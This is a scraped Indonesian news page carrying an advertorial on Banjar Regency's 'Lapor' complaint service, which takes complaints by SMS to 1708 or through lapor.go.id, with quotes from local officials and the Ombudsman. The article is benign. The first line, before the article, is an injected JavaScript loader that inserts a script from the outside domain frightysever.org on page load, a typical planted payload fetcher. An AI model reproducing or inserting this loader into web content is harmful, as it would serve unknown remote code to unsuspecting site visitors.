(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pemkab Banjar Respons Aduan Masyarakat Lewat Program “Lapor”, Begini Caranya!


MARTAPURA, Warga Kabupaten Banjar kini memiliki saluran resmi untuk menyampaikan keluhan atau pengaduan atas pelayanan pemerintahan. Caranya?  Cukup menggunakan smartphone melalui Layanan Aspirasi dan Pengaduan Online Rakyat (Lapor) SMS ke 1708 atau melalui situs www.lapor.go.id

Nah, menindaklanjuti kemudahan akses untuk melakukan pengaduan ini, Bupati Banjar H Khalilurrahman melalui Sekretaris Daerah Nasrun Syah di Martapura, Selasa (21/11) meminta jajaran SKPD bekerja sesuai harapan masyarakat. Sebab ukuran keberhasilan program adalah berdasar kepuasan masyarakat.

“Jadi tolong secepatnya setiap ada aduan dari masyarakat langsung ditanggapi dan direspon,” tergasnya .

Kepala Dinas Komunikasi, Informatika, Statistik dan Persandian Kabupaten Banjar, HM Farid Saoufian, MS  menjelaskan, setiap aduan warga yang masuk ke aplikasi Lapor yang dikelola oleh Dinas Kominfo, akan diteruskan ke SKPD yang sesuai dengan materi pengaduan.

“Saat ini sudah ada beberapa aduan warga yang masuk, dan telah kami teruskan ke instansi yang terkait untuk segera mungkin direspon,” jelas Farid.

Dia menjelaskan, proses pengaduan cukup mudah. Yakni dengan cara ketik : BANJAR(SPASI) ISI ADUAN, lalu kirim SMS tersebut ke 1708. Maka pengaduan warga sudah tersampaikan ke aplikasi Lapor, Pemerintah Kabupaten Banjar.

Sementara itu, Kepala Ombudsman RI Kalimantan Selatan, Noorhalis Majid mengingatkan agar instansi terkait, segera merespon aduan masyarakat yang masuk pada aplikasi Lapor.  Majid meminta agar aduan tersebut jangan diabaikan, namun sesegera mungkin dijawab.

Lapor ini menurut Majid, sebagai saluran dari masyarakat untuk menyampaikan aduannya, di samping sebagai alat bagi instansi pemerintahan dalam mengukur sejauh mana keberhasilan pelayanan yang diberikan kepada warga. Instansi akan dapat melihat kelemahan suatu pelayanan, ketika pelayanan tersebut yang sering dikeluhkan oleh masyarakat.

“Jawaban paling tidak sudah disampaikan paling lama 14 hari setelah pengaduan, dan akan ada sanksi bagi pejabat yang tidak merespon aduan masyarakat tersebut.  Meski begitu jangan menunggu 14 hari, namun mesti bisa memilah, mana aduan yang harus segera direspon dan ditangani, misalnya soal BPJS karena menyangkut nyawa manusia,” harapnya. (hendera)


Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

9 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

10 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

10 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

11 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

12 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

13 jam ago

This website uses cookies.